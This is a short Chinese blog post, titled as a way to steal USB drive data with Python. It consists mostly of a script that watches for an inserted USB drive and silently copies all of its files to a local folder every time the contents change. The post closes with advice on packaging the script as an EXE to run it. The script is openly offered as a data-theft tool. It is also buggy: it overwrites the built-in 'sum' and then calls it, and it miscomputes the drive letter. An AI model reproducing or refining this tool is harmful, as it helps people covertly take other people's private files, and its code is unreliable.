利用python进行 U盘资料窃取


#路径包 查找路径
import os

#时间包 检测你什么时候插入U盘   什么时候拷贝数据 程序休眠
import time

# 专门做文件 删除 移动 拷贝
import shutil

# join拼接路径获  取文件或者文件大小
from os.path import join,getsize
# U盘目录  

def drives():#获取存在的盘符
    drive_list=[]
    for drive in range(ord("A"),ord("N")):
        if os.path.exists(chr(drive)+":"):
            drive_list.append(chr(drive+1)+":\\")
    return drive_list
sum=drives()
USB=sum[-1]

#保存U盘资料的文件夹
save='D:\\ U盘文件保存目录'
# 获取文件大小   dir 盘符路径
def get_dir_size(dir):
    # 初始化 文件大小
    size=0
    for root ,dirs,files in os.walk(dir):
        # 获取U盘总大小  字节  列表推导式
        size+=sum([getsize(join(root,name,))for name in files])
    print(size)
    return size
# 拷贝
def usb_copy():
    try:
        print('正在备份')
        # 这个方法是拷贝文件用的  有两个参数(你要拷贝的目标盘符  你要拷贝到哪里去)
        # 如果你有相同的文件夹  它会抛出一个异常
        shutil.copytree(USB,save)
        print('备份完成')
    except Exception:
        print('文件夹已存在')
        shutil.rmtree(save)
        print('正在删除')
        shutil.copytree(USB,save)
#启动
def main():
    old_dirsize=0
    while True:
        # 判断U盘是否存在
        if os.path.exists(USB):
            print('检测到U盘')
            new_dirsize=get_dir_size(USB)
            if old_dirsize !=new_dirsize:
                # 判断磁盘中的文件夹是否有内容,并且文件大小不一致的话,也要执行拷贝
                usb_copy()
                old_dirsize=new_dirsize
            else:
                print('无变化')
        else:
            print('无U盘插入')
        print('开始休眠')
        time.sleep(5)
        print('休眠结束')
#入口
if __name__ == '__main__':
    main()

这是一个py程序,如果你要把它转化为EXE程序,需要下载第三方库(pyinstaller,注意这个库的使用还需要pywin32的支持 )由于在pycharm或者cmd中无法安装pyinstaller库,所以我建议使用离线安装pyinstaller库。

你可能感兴趣的:(利用python进行 U盘资料窃取)